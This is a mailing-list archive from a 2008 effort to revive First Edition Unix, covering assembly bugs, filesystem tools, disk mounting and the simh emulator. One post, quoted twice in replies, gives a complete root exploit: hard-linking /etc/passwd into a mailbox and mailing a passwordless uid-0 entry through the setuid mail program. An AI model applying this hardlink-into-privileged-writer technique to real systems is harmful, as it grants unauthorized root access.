Message-ID: <4631.1209835560@mini> "James A. Markevitch" wrote: >I downloaded the stuff from the svn, got it to build, then did a cmp -l >on the load file from my assembler vs. the one built from the svn tree. > >There is a bug in the svn sources on page e09-07, near the bottom. >The call to sleep should read: > > jsr r0,sleep; 0:.. > >Note that there should be a colon, not a semi-colon after the 0. >Presumably, this code was never executed, else it would have >resulted in a halt. thanks! but what *does* that syntax do? 0:.. ? (I do know that 0 is halt :-) -brad From jam at magic.com Sun May 4 03:35:46 2008 From: jam at magic.com (James A. Markevitch) Date: Sat, 3 May 2008 10:35:46 -0700 (PDT) Subject: [Unix-jun72] Minor bug in sources e09-07 Message-ID: <200805031735.KAA01301@mist.magic.com> > >There is a bug in the svn sources on page e09-07, near the bottom. > >The call to sleep should read: > > > > jsr r0,sleep; 0:.. > > > >Note that there should be a colon, not a semi-colon after the 0. > >Presumably, this code was never executed, else it would have > >resulted in a halt. > > thanks! > > but what *does* that syntax do? 0:.. ? The two-instruction sequence is: movb tty+3(r1),0f / put clist id in sleep argument jsr r0,sleep; 0:.. The "0:" on the second line is a label and it is referenced by the "0f" in the first line. The first line is putting a value into the argument being passed to the sleep subroutine. Self-modifying code. The ".." assembles to a 0. With the incorrect code, "0" assembled to a 0 and ".." assembled to a 0, so there was one extra word of zeroes, and the return from the sleep would have executed it (halt) instead of the "br 1b" on the next line. James Markevitch From brad at heeltoe.com Sun May 4 03:52:19 2008 From: brad at heeltoe.com (Brad Parker) Date: Sat, 03 May 2008 13:52:19 -0400 Subject: [Unix-jun72] mount woes (fixed) In-Reply-To: <2901.1209825347@mini> References: <2901.1209825347@mini> Message-ID: <4998.1209837139@mini> Turns out not linking my a.out was a bad idea; I fixed it by doing this: exit = 1. mount = 21. sys mount; rk0+040014; usr+040014 sys exit rk0: usr: This seems to work. I think the rk fs image is not right, but Warren seems to have a grip on that and I'll try his latest mkfs next. -brad From brad at heeltoe.com Sun May 4 03:52:19 2008 From: brad at heeltoe.com (Brad Parker) Date: Sat, 03 May 2008 13:52:19 -0400 Subject: [Unix-jun72] mount woes (fixed) In-Reply-To: <2901.1209825347@mini> References: <2901.1209825347@mini> Message-ID: <4998.1209837139@mini> Turns out not linking my a.out was a bad idea; I fixed it by doing this: exit = 1. mount = 21. sys mount; rk0+040014; usr+040014 sys exit rk0: usr: This seems to work. I think the rk fs image is not right, but Warren seems to have a grip on that and I'll try his latest mkfs next. -brad From newsham at lava.net Sun May 4 04:06:18 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 08:06:18 -1000 (HST) Subject: [Unix-jun72] Missing commands In-Reply-To: <20080503123147.GA84379@minnie.tuhs.org> References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini> <20080503113911.GB83393@minnie.tuhs.org> <345.1209815083@mini> <20080503121126.GA83961@minnie.tuhs.org> <1041.1209816979@mini> <20080503123147.GA84379@minnie.tuhs.org> Message-ID: >> Tim - where did you get the files you used to make your tape image? Can >> you tar up that directory and check it in? I can't find init anywhere. >> I must be confused. The process for making the tape image is: - get s2.tar.gz from TUHS PDP11 distributions (under research) - extract somewhere like /tmp/s2 (if elsewhere, you must edit tools/mktape.py) - build a tape with the files you want: tools/mktape.py /tmp/s2/bin/* /tmp/s2/etc/* you can add any files you want, but it will make up uid/permission for files it doesnt "know" about. It has a table of files and permissions baked into it that came from the TUHS archive. The tool strips off "/tmp/s2" from the paths right now, so if you put s2 in a different location you'll have to alter that path or you'll have to build the tape from within that subdirectory using relative paths. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sun May 4 04:14:49 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 08:14:49 -1000 (HST) Subject: [Unix-jun72] mount woes (fixed) In-Reply-To: <4998.1209837139@mini> References: <2901.1209825347@mini> <4998.1209837139@mini> Message-ID: On Sat, 3 May 2008, Brad Parker wrote: > sys mount; rk0+040014; usr+040014 > sys exit We may not need mount afterall. The init process mounts /dev/rk0 on /usr during startup (after the second "1:" label on e12-01). Btw, how does one manipulate the consoel switches in simh? The init process goes into single user mode (top of init on e12-01) if the console switches are set appropriately.. I've stepped through this code to verify that it is not doing that with our config (if it was, it should go straight to shell with no login prompt). > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sun May 4 04:16:23 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 08:16:23 -1000 (HST) Subject: [Unix-jun72] mount woes (fixed) In-Reply-To: References: <2901.1209825347@mini> <4998.1209837139@mini> Message-ID: > We may not need mount afterall. The init process mounts /dev/rk0 on > /usr during startup (after the second "1:" label on e12-01). Oh, for what its worth, the init sources say its an "rk05" disk ("rko5" actually ;-) I think Warren was asking about which model to use earlier. Tim Newsham http://www.thenewsh.com/~newsham/ From cowan at ccil.org Sun May 4 04:43:16 2008 From: cowan at ccil.org (John Cowan) Date: Sat, 3 May 2008 14:43:16 -0400 Subject: [Unix-jun72] Change to mail list behaviour In-Reply-To: <20080503124626.GA84693@minnie.tuhs.org> References: <20080503124626.GA84693@minnie.tuhs.org> Message-ID: <20080503184315.GG28208@mercury.ccil.org> Warren Toomey scripsit: > After e-mailing a reply about 6 times today and it going to the original > poster, instead of the mailing list where I wanted it to go, I have > decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies > will now go back to the list, not the poster. Arrgh! Kill! Kill! Kill!! http://www.unicom.com/pw/reply-to-harmful.html http://woozle.org/~neale/papers/reply-to-still-harmful.html -- Is not a patron, my Lord [Chesterfield], John Cowan one who looks with unconcern on a man http://www.ccil.org/~cowan struggling for life in the water, and when cowan at ccil.org he has reached ground encumbers him with help? --Samuel Johnson From imp at bsdimp.com Sun May 4 04:52:27 2008 From: imp at bsdimp.com (M. Warner Losh) Date: Sat, 03 May 2008 12:52:27 -0600 (MDT) Subject: [Unix-jun72] Change to mail list behaviour In-Reply-To: <20080503184315.GG28208@mercury.ccil.org> References: <20080503124626.GA84693@minnie.tuhs.org> <20080503184315.GG28208@mercury.ccil.org> Message-ID: <20080503.125227.1791029143.imp@bsdimp.com> In message: <20080503184315.GG28208 at mercury.ccil.org> John Cowan writes: : Warren Toomey scripsit: : : > After e-mailing a reply about 6 times today and it going to the original : > poster, instead of the mailing list where I wanted it to go, I have : > decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies : > will now go back to the list, not the poster. : : Arrgh! Kill! Kill! Kill!! : : http://www.unicom.com/pw/reply-to-harmful.html : http://woozle.org/~neale/papers/reply-to-still-harmful.html I respectfully disagree. Religious jihads are like that. Warner From newsham at lava.net Sun May 4 05:20:13 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 09:20:13 -1000 (HST) Subject: [Unix-jun72] Some fun with 1st ed Message-ID: All work and no play... Here's a fun hack for first edition unix. From MAIL (I) : When followed by the names of a letter and one or more people, the letter is appended to each person's mailbox. Each letter is preceded by the sender's name and a postmark. A person is either the nameof an entry in the directory /usr, in which case the mail is sent to /usr/person/mailbox, or the path of a directory, in which case mailbox in that directory is used. Mail is setuid root: # ls -l /bin/mail 80 surwr- 1 root 3940 Jan 1 00:00:00 mail login as a non-root user (ie "bin"), create a file "letter" with the contents "hack::0:/:". Run: @ ln /etc/passwd /tmp/mailbox @ mail letter /tmp log out and log back in as "hack". You are now root. Cat /etc/passwd and notice: From bin Jan 1 00:49:22 hack::0:/: clean up the file a little and enjoy your new elevated status. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sun May 4 05:34:14 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 09:34:14 -1000 (HST) Subject: [Unix-jun72] [TUHS] Some fun with 1st ed In-Reply-To: <20080503192943.GC69106@freebie.xs4all.nl> References: <20080503192359.GA11882@bitmover.com> <20080503192943.GC69106@freebie.xs4all.nl> Message-ID: > Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 .. >> We need to send out a security alert immediately. This is serious. > > CERT to the rescue! Man the barricades ! I did this once with a 7th edition vuln. I think one is probably the limit :) http://www.securityfocus.com/archive/1/365038 >> Larry McVoy lm at bitmover.com http://www.bitkeeper.com > Wilko Tim Newsham http://www.thenewsh.com/~newsham/ From wb at freebie.xs4all.nl Sun May 4 05:29:43 2008 From: wb at freebie.xs4all.nl (Wilko Bulte) Date: Sat, 3 May 2008 21:29:43 +0200 Subject: [Unix-jun72] [TUHS] Some fun with 1st ed In-Reply-To: <20080503192359.GA11882@bitmover.com> References: <20080503192359.GA11882@bitmover.com> Message-ID: <20080503192943.GC69106@freebie.xs4all.nl> Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 .. > We need to send out a security alert immediately. This is serious. CERT to the rescue! Man the barricades ! ;-) > On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote: > > All work and no play... > > > > Here's a fun hack for first edition unix. From MAIL (I) : > > > > When followed by the names of a letter and one or more people, the > > letter is appended to each person's mailbox. Each letter is > > preceded by the sender's name and a postmark. > > > > A person is either the nameof an entry in the directory /usr, in > > which case the mail is sent to /usr/person/mailbox, or the path > > of a directory, in which case mailbox in that directory is used. > > > > Mail is setuid root: > > > > # ls -l /bin/mail > > 80 surwr- 1 root 3940 Jan 1 00:00:00 mail > > > > login as a non-root user (ie "bin"), create a file "letter" with the > > contents "hack::0:/:". Run: > > > > @ ln /etc/passwd /tmp/mailbox > > @ mail letter /tmp > > > > log out and log back in as "hack". You are now root. Cat /etc/passwd > > and notice: > > > > From bin Jan 1 00:49:22 > > hack::0:/: > > > > clean up the file a little and enjoy your new elevated status. > > > > Tim Newsham > > http://www.thenewsh.com/~newsham/ > > _______________________________________________ > > TUHS mailing list > > TUHS at minnie.tuhs.org > > https://minnie.tuhs.org/mailman/listinfo/tuhs > > -- > --- > Larry McVoy lm at bitmover.com http://www.bitkeeper.com > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs --- end of quoted text --- -- Wilko From lm at bitmover.com Sun May 4 05:24:00 2008 From: lm at bitmover.com (Larry McVoy) Date: Sat, 3 May 2008 12:24:00 -0700 Subject: [Unix-jun72] [TUHS] Some fun with 1st ed In-Reply-To: References: Message-ID: <20080503192359.GA11882@bitmover.com> We need to send out a security alert immediately. This is serious. On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote: > All work and no play... > > Here's a fun hack for first edition unix. From MAIL (I) : > > When followed by the names of a letter and one or more people, the > letter is appended to each person's mailbox. Each letter is > preceded by the sender's name and a postmark. > > A person is either the nameof an entry in the directory /usr, in > which case the mail is sent to /usr/person/mailbox, or the path > of a directory, in which case mailbox in that directory is used. > > Mail is setuid root: > > # ls -l /bin/mail > 80 surwr- 1 root 3940 Jan 1 00:00:00 mail > > login as a non-root user (ie "bin"), create a file "letter" with the > contents "hack::0:/:". Run: > > @ ln /etc/passwd /tmp/mailbox > @ mail letter /tmp > > log out and log back in as "hack". You are now root. Cat /etc/passwd > and notice: > > From bin Jan 1 00:49:22 > hack::0:/: > > clean up the file a little and enjoy your new elevated status. > > Tim Newsham > http://www.thenewsh.com/~newsham/ > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs -- --- Larry McVoy lm at bitmover.com http://www.bitkeeper.com From wkt at tuhs.org Sun May 4 11:03:52 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 4 May 2008 11:03:52 +1000 Subject: [Unix-jun72] Dealing with 0407 a.outs in the V1 kernel In-Reply-To: <2901.1209825347@mini> References: <2901.1209825347@mini> Message-ID: <20080504010352.GA14058@minnie.tuhs.org> On Sat, May 03, 2008 at 10:35:47AM -0400, Brad Parker wrote: > And it runs, but nothing happens. I have not debugged it much. Wish we > had a working v1 as. I think getting the V1 kernel to grok 0407 a.outs should be easier. Here are snippets from the V1 and V2 a.out man pages: 1st Edition 2nd Edition ----------- ----------- The header always contains 6 words: The header always contains 8 words: 1 a "br .+14" instruction [205(8)] 1 a "br .+20" instruction [207(8)] 2 the size of the program text 2 the size of the program text 3 the size of the symbol table 3 the size of the initialised data 4 the size of the relocation bits area 4 the size of the uninit (bss) data 5 the size of a data area 5 the size of the symbol table 6 a zero word, unused at present 6 the entry location, always 0 7 stack size required, always 0 8 a flag indicating relocation bits have been suppressed When I wrote the Apout support for V1 and V2, I found that all of an 0405 a.out was loaded into memory including the header, but the 0407 a.out is loaded into memory MINUS the 8-word header. So, I'm guessing, in the kernel's sysexec: code, where it does cmp core,$405 / br .+14 is first instruction if file is / standard a.out format we have to add a section that recognises 0407, adds up the size of text, data and bss (words 2, 3, 4), saves that in u.count, and loads the rest of the a.out into memory but with the 8-word header removed. Cheers, Warren From wkt at tuhs.org Sun May 4 11:27:41 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 4 May 2008 11:27:41 +1000 Subject: [Unix-jun72] rk03 vs rk05 In-Reply-To: References: <2901.1209825347@mini> <4998.1209837139@mini> Message-ID: <20080504012741.GA14788@minnie.tuhs.org> On Sat, May 03, 2008 at 08:16:23AM -1000, Tim Newsham wrote: > > We may not need mount afterall. The init process mounts /dev/rk0 on > > /usr during startup (after the second "1:" label on e12-01). > > Oh, for what its worth, the init sources say its an "rk05" disk ("rko5" > actually ;-) I think Warren was asking about which model to use earlier. Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go read the DEC manuals, but I would guess that the RK11 drive and interface is the same, but the RK03 and RK05 removable disk packs were of different storage capacity. Warren From jam at magic.com Sun May 4 11:59:44 2008 From: jam at magic.com (James A. Markevitch) Date: Sat, 3 May 2008 18:59:44 -0700 (PDT) Subject: [Unix-jun72] rk03 vs rk05 Message-ID: <200805040159.SAA04559@mist.magic.com> > Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go > read the DEC manuals, but I would guess that the RK11 drive and interface is > the same, but the RK03 and RK05 removable disk packs were of different > storage capacity. The controller is an RK11. The disk drives are RK02, RK03, RK05. The RK02 is a 1.2MB drive (256B per sector). The RK03 is a 2.4MB drive (512B per sector). The RK05 is a 2.4MB drive (512B per sector). The media for the RK03 and RK05 are compatible (IBM 2315). The drives look different from each other, but I don't think the system can tell the difference. James Markevitch From newsham at lava.net Sun May 4 15:19:03 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 19:19:03 -1000 (HST) Subject: [Unix-jun72] init Message-ID: I looked through init briefly and the version from s2.tar.gz is slightly different than the one in the pdf printout. In the printout /dev/rk0 is mounted on /usr at boot time. In the s2 version the string "/usr" is still present, but the call to mount is gone and so is the "/dev/rk0" string. The init source is fairly short and shouldn't be too hard to type in or get from ocr. Has anyone yet worked through the details of using the V7 compiler to make 0405 binaries? Also has anyone successfully used a populated /usr on rk0 yet? Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sun May 4 15:31:21 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 19:31:21 -1000 (HST) Subject: [Unix-jun72] init In-Reply-To: References: Message-ID: Poked around in the s2 frags and noticed an even newer version of "init" in frag2. This one uses "sys 38." to get the console switches (v1 and s2 read them directly and our kernel only has syscalls through 33). This one mounts several disks (rk1, rk2 and rk3 on usr, ssys and crp) and even runs a bunch of programs (such as /usr/mel/da and /usr/demo/dds)! Also while its called a fragment, it looks to be a complete source or very near to it. Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Sun May 4 16:50:24 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 4 May 2008 16:50:24 +1000 Subject: [Unix-jun72] init In-Reply-To: References: Message-ID: <20080504065024.GA26878@minnie.tuhs.org> On Sat, May 03, 2008 at 07:19:03PM -1000, Tim Newsham wrote: > I looked through init briefly and the version from s2.tar.gz is > slightly different than the one in the pdf printout. In the printout > /dev/rk0 is mounted on /usr at boot time. In the s2 version the > string "/usr" is still present, but the call to mount is gone > and so is the "/dev/rk0" string. > > The init source is fairly short and shouldn't be too hard to type > in or get from ocr. Has anyone yet worked through the details of > using the V7 [assembler] to make 0405 binaries? It shouldn't be too hard, but I'm not an assembly person, so it's best that someone else tries. My previous e-mail about the 0405 and 0407 headers, plus the fact that the 0405 header IS loaded in memory, should be enough. > Also has anyone successfully used a populated /usr on rk0 yet? No, but I can create an rk0.dsk image with my mkfs; then in simh I can do check (no args) which checks both RF and RK filesystems; ditto df. So it must be close. As an alternative, it should not be too hard to hand-craft an 0405 a.out which simply mounts /dev/rk0 on /usr. Cheers, Warren P.S s2 frags: yes, some of them are not fragments, but complete files, even with junk leftover at the bottom of each file. From wkt at tuhs.org Sun May 4 18:41:37 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 4 May 2008 18:41:37 +1000 Subject: [Unix-jun72] Yes, a mount command In-Reply-To: <20080504065024.GA26878@minnie.tuhs.org> References: <20080504065024.GA26878@minnie.tuhs.org> Message-ID: <20080504084137.GA32129@minnie.tuhs.org> I took Brad Parker's suggestion for a simple mount rk0 /usr command, and modified it as follows: exit = 1. write = 4. mount = 21. mov $1,r0 sys write; rk0+040020; 8. sys write; usr+040020; 4. sys mount; rk0+040020; usr+040020 sys exit sys exit rk0: usr: Assemble this with V7 as, to get: 0000000 000407 000050 000000 000000 000074 000000 000000 000000 0000020 012700 000001 104404 040052 000010 104404 040063 000004 0000040 104425 040052 040063 104401 104401 062057 073145 071057 0000060 030153 027400 071565 000162 000000 000000 000000 000002 0000100 000000 000000 000002 000000 000000 000002 000002 000000 0000120 000000 000000 000000 000000 000000 000000 000000 000000 0000140 074145 072151 000000 000000 000001 000001 071167 072151 0000160 000145 000000 000001 000004 067555 067165 000164 000000 0000200 000001 000025 065562 000060 000000 000000 000002 000032 0000220 071565 000162 000000 000000 000002 000043 Now hand-edit the top line with a binary editor to have this: 0000000 000405 000130 000000 000000 000074 000000 010000 010000 This makes it an 0405 executable, and the first 2 instructions become mov r0,r0, i.e. a NOP. Copy the a.out into your V1 /tmp directory, and use tools/mktape.py to rebuild the tape. If you haven't used it before, here is what I did: tools/mktape.py /usr/local/src/V1/bin/* /usr/local/src/V1/etc/* \ /usr/local/src/V1/tmp/* Now do tools/assemv7 cold to build a cold kernel, then ./simh.cfg to run it to make rf0.dsk. Now run tools/assemv7 with no args to get a warm kernel. Copy rf0.dsk to rk0.dsk so that you have 2 filesystems. Run ./simh.cfg, login as root, and you should see /tmp/a.out. Run /tmp/a.out; you should see /dev/rk0 echoed on stdout. I don't know why /usr is not echoed. Now you can chdir to /usr and do ls -l in there. Annoyingly, du / only shows / and doesn't traverse into /usr. So I may have had it working before, but I didn't realise that du was not the best tool to verify the mount. Cheers, Warren -------------- next part -------------- A non-text attachment was scrubbed... Name: a.out Type: application/octet-stream Size: 156 bytes Desc: not available URL: From wkt at tuhs.org Sun May 4 19:02:03 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 4 May 2008 19:02:03 +1000 Subject: [Unix-jun72] Help needed with my mkfs.c Message-ID: <20080504090203.GA32355@minnie.tuhs.org> I've just checked in my latest tools/mkfs.c into the svn repository. Could a few people eyeball it and look for errors. Even better, if you can eyeball the working rf0.dsk image and compare it to an image made by my mkfs.c. At present, I can make an rk0.dsk image with mkfs. I can run up a warm kernel and try to mount the rk0 image as /usr, with my /tmp/a.out. But when I try to chdir /usr, I get a Bad directory message. So something is screwy with the rk0.dsk that my mkfs.c is making. Thanks, Warren P.S typescript of warm boot: :login: root root # check # check indicates rk0.dsk is OK RF: 119 files 6 large 6 indirect 255 used 399 free 336 missing RK: 43 files 0 large 0 indirect 2 used 4784 free 0 missing # /tmp/a.out # I try to mount it /dev/rk0# chdir /usr # but the chdir fails Bad directory # du /usr # du /usr shows no results # df /usr # and df shows it is empty 0 # df # but df shows the free space on RF/RK 399+4784 From wb at freebie.xs4all.nl Sun May 4 19:06:53 2008 From: wb at freebie.xs4all.nl (Wilko Bulte) Date: Sun, 4 May 2008 11:06:53 +0200 Subject: [Unix-jun72] rk03 vs rk05 In-Reply-To: <200805040159.SAA04559@mist.magic.com> References: <200805040159.SAA04559@mist.magic.com> Message-ID: <20080504090653.GA72326@freebie.xs4all.nl> Quoting James A. Markevitch, who wrote on Sat, May 03, 2008 at 06:59:44PM -0700 .. > > Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go > > read the DEC manuals, but I would guess that the RK11 drive and interface is > > the same, but the RK03 and RK05 removable disk packs were of different > > storage capacity. > > The controller is an RK11. > The disk drives are RK02, RK03, RK05. > > The RK02 is a 1.2MB drive (256B per sector). > The RK03 is a 2.4MB drive (512B per sector). > The RK05 is a 2.4MB drive (512B per sector). There was also a RK05F which used a fixed platter (in the same plastic enclosure as the removables if I remember correctly). That was double capacity, around 5MB. Wilko From brad at heeltoe.com Sun May 4 22:47:29 2008 From: brad at heeltoe.com (Brad Parker) Date: Sun, 04 May 2008 08:47:29 -0400 Subject: [Unix-jun72] Change to mail list behaviour In-Reply-To: <20080503.125227.1791029143.imp@bsdimp.com> References: <20080503124626.GA84693@minnie.tuhs.org> <20080503184315.GG28208@mercury.ccil.org> <20080503.125227.1791029143.imp@bsdimp.com> Message-ID: <15402.1209905249@mini> >: http://www.unicom.com/pw/reply-to-harmful.html >: http://woozle.org/~neale/papers/reply-to-still-harmful.html > >I respectfully disagree. > >Religious jihads are like that. I don't think this is a religious issue. Please read those pages carefully. It's about normal human behavior and expectations. I can't tell you how many times I've made the same mistakes listed in those pages. Many times. Always wit embarrassment. My mailer has reply and reply-all and I use them consciously every day. with the new setting I hit reply-all and I generate 2 copies to the list... so this list becomes unlike all the others I am on. You may still disagree, but I think there is some sound logic behind the idea. -brad From brad at heeltoe.com Sun May 4 22:54:34 2008 From: brad at heeltoe.com (Brad Parker) Date: Sun, 04 May 2008 08:54:34 -0400 Subject: [Unix-jun72] init In-Reply-To: References: Message-ID: <15542.1209905674@mini> Tim Newsham wrote: >I looked through init briefly and the version from s2.tar.gz is >slightly different than the one in the pdf printout. In the printout >/dev/rk0 is mounted on /usr at boot time. In the s2 version the >string "/usr" is still present, but the call to mount is gone >and so is the "/dev/rk0" string. yes, I noticed that. I looked for strings in the binary init and didn't see /dev/rk0. >The init source is fairly short and shouldn't be too hard to type >in or get from ocr. Has anyone yet worked through the details of >using the V7 compiler to make 0405 binaries? Also has anyone >successfully used a populated /usr on rk0 yet? I think you can hack the header with dd. I have gotten /usr to mount but something it not right. check says it has files but the mount does something odd and nothing appears under the mount point. -brad From brad at heeltoe.com Sun May 4 23:06:26 2008 From: brad at heeltoe.com (Brad Parker) Date: Sun, 04 May 2008 09:06:26 -0400 Subject: [Unix-jun72] Help needed with my mkfs.c In-Reply-To: <20080504090203.GA32355@minnie.tuhs.org> References: <20080504090203.GA32355@minnie.tuhs.org> Message-ID: <15775.1209906386@mini> Warren Toomey wrote: ... >/dev/rk0# chdir /usr # but the chdir fails >Bad directory I noticed that after the mount the directory bits where not set on the mount point (which I thought was odd). If the resulting node does not have the directory bits set, you can get "Bad directory" from the shell. something in the mode bits in the root of the fs? (I have not looked at the fs structure, but I'll take a look today since it's raining here and I won't be watching soccer or baseball) -brad From wkt at tuhs.org Mon May 5 00:33:43 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 00:33:43 +1000 Subject: [Unix-jun72] mkfs.c is now working Message-ID: <20080504143343.GA39542@minnie.tuhs.org> All, my mkfs.c $Revision: 1.17 $, $Date: 2008/05/04 14:20:12 $ now produces mountable filesystem images, and it's now checked into the svn repository. The problem was that the size of a directory is not the size of the blocks allocated to it, but is in fact the number of bytes of the in-use directory entries. For example, / was being allocated 1 block == 512 bytes. But 512 is not its size (as it would be in later UNIXes); in fact if / has entries 41 sdrwr- 7 root 70 Jan 1 00:00:00 . 41 sdrwr- 7 root 70 Jan 1 00:00:00 .. 43 sdrwr- 2 root 570 Jan 1 00:00:00 bin 42 sdrwr- 2 root 250 Jan 1 00:00:00 dev 99 sdrwr- 2 root 100 Jan 1 00:00:00 etc 108 sdrwr- 2 root 70 Jan 1 00:00:00 tmp 114 sdrwr- 2 root 20 Jan 1 00:00:00 usr then its size is 7 entries * 10 bytes each = 70 bytes. Importantly, this also means that we can now make bootable root filesystems without having to do a cold UNIX: % tools/mkfs /usr/local/src/V1 rf0.dsk rf # Make the / disk % tools/mkfs /usr/local/src/V1 rk0.dsk rk # Make the /usr disk, same stuff % ./simh.cfg PDP-11 simulator V3.7-3 ./simh.cfg> #!tools/pdp11 Unknown command Disabling CR Disabling XQ RF: buffering file in memory TC0: 16b format, buffering file in memory sim> g :login: root root # /tmp/a.out /dev/rk0# ls -l /usr/tmp total 8 112 sxrwrw 1 root 156 Jan 1 00:00:00 a.out 110 sxrwrw 1 root 1664 Jan 1 00:00:00 etma 113 sxrwrw 1 root 6 Jan 1 00:00:00 hello 109 sxrwrw 1 root 26 Jan 1 00:00:00 ttmp 111 sxrwrw 1 root 142 Jan 1 00:00:00 utmp # df 806+4602 # Number of free blocks on / and /usr I added /usr/tmp/hello just to verify that I was getting files that were not on the cold UNIX tape. Cheers, Warren From jam at magic.com Mon May 5 00:37:01 2008 From: jam at magic.com (James A. Markevitch) Date: Sun, 4 May 2008 07:37:01 -0700 (PDT) Subject: [Unix-jun72] rk03 vs rk05 Message-ID: <200805041437.HAA08617@mist.magic.com> > > The controller is an RK11. > > The disk drives are RK02, RK03, RK05. > > > > The RK02 is a 1.2MB drive (256B per sector). > > The RK03 is a 2.4MB drive (512B per sector). > > The RK05 is a 2.4MB drive (512B per sector). > > There was also a RK05F which used a fixed platter (in the same > plastic enclosure as the removables if I remember correctly). That was > double capacity, around 5MB. Yes, the RK05J is the removable one, as described above. The RK05F is the fixed version that doubles the density. However, to the system, it appears as two separate drives, not as a single 5MB drive. I am not sure how the data were interleaved between the two "logical drives" which is important when scheduling seeks on the logical drives. James Markevitch From wkt at tuhs.org Mon May 5 00:42:03 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 00:42:03 +1000 Subject: [Unix-jun72] mkfs.c is now working In-Reply-To: <20080504143343.GA39542@minnie.tuhs.org> References: <20080504143343.GA39542@minnie.tuhs.org> Message-ID: <20080504144203.GA39852@minnie.tuhs.org> Just thought I should add a missing comment to my previous e-mail: > :login: root > root > # /tmp/a.out # Mount /dev/rk0 /usr using my mount binary > /dev/rk0 Warren From newsham at lava.net Mon May 5 04:54:51 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 08:54:51 -1000 (HST) Subject: [Unix-jun72] slight tools cleanup Message-ID: I reorganized the build process slightly. Hopefully this won't affect anyone and everything will keep working as before. I basically took the 'sed' hacks out of assemv7 and made the "rebuild" script do the patching with proper patch files instead. There is now a patches directory with all of the patches we are using and comments on what they do and why. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 5 06:18:08 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 10:18:08 -1000 (HST) Subject: [Unix-jun72] 0407 binaries on 1ed In-Reply-To: References: Message-ID: I added a patch "aout407.patch" for running a.out binaries in the 1ed kernel. It could be a little cleaner; if anyone can review it and fix it up I would appreciate it. I was able to run "as" and "size", both of which are 0407 binaries. This patch isn't applied automatically, but I also changed the "tools/rebuild" script to take a list of optional patches to apply, so now you can select any set of optional patches on the command line: $ tools/assemv7 cold $ tools/assemv7 aout407 $ tools/assemv7 cold aout407 myowncustompatch Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Mon May 5 08:33:53 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 08:33:53 +1000 Subject: [Unix-jun72] 0407 binaries on 1ed In-Reply-To: References: Message-ID: <20080504223353.GA63333@minnie.tuhs.org> On Sun, May 04, 2008 at 10:18:08AM -1000, Tim Newsham wrote: > I added a patch "aout407.patch" for running a.out binaries in the 1ed > kernel. It could be a little cleaner; if anyone can review it and fix > it up I would appreciate it. I was able to run "as" and "size", > both of which are 0407 binaries. Excellent stuff Tim. I've had a quick look; I suspect the existing code: cmp r5,u.count / bgt 1f / branch if r5 greater than u.count mov r5,u.count checks to ensure that the new a.out is small emough to fit into the address space left by the executable that called exec(2). > This patch isn't applied automatically, but I also changed the > "tools/rebuild" script to take a list of optional patches to apply. That's also a good idea. Thanks Tim. Warren From wkt at tuhs.org Mon May 5 08:41:25 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 08:41:25 +1000 Subject: [Unix-jun72] Another reorganisation suggestion Message-ID: <20080504224125.GB63333@minnie.tuhs.org> Now that we have 0407 kernel support, I'll have a go at getting one of the early C compilers to work. Could I suggest that we make a src/ directory in svn, which will hold any source code that produces V1/V2 executables? I'll make a directory for the C compiler. We can also add in working fragments from the s2 tape into a cmd/ directory. The layout echoes the V7 tree: /usr/src /usr/src/cmd/ # Single file sourcefiles /usr/src/cmd/as/ # Assembler /usr/src/cmd/c/ # C compiler /usr/src/libc/ # C library /usr/sys/sys/ # Kernel source Which of course implies that we might need to rename rebuilt/ to sys/ :-) Thanks, Warren From cyrille.lefevre-lists at laposte.net Mon May 5 09:09:43 2008 From: cyrille.lefevre-lists at laposte.net (Cyrille Lefevre) Date: Mon, 05 May 2008 01:09:43 +0200 Subject: [Unix-jun72] Change to mail list behaviour In-Reply-To: <20080503184315.GG28208@mercury.ccil.org> References: <20080503124626.GA84693@minnie.tuhs.org> <20080503184315.GG28208@mercury.ccil.org> Message-ID: <481E4237.9020502@laposte.net> John Cowan a écrit : > Warren Toomey scripsit: > >> After e-mailing a reply about 6 times today and it going to the original >> poster, instead of the mailing list where I wanted it to go, I have >> decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies >> will now go back to the list, not the poster. > > 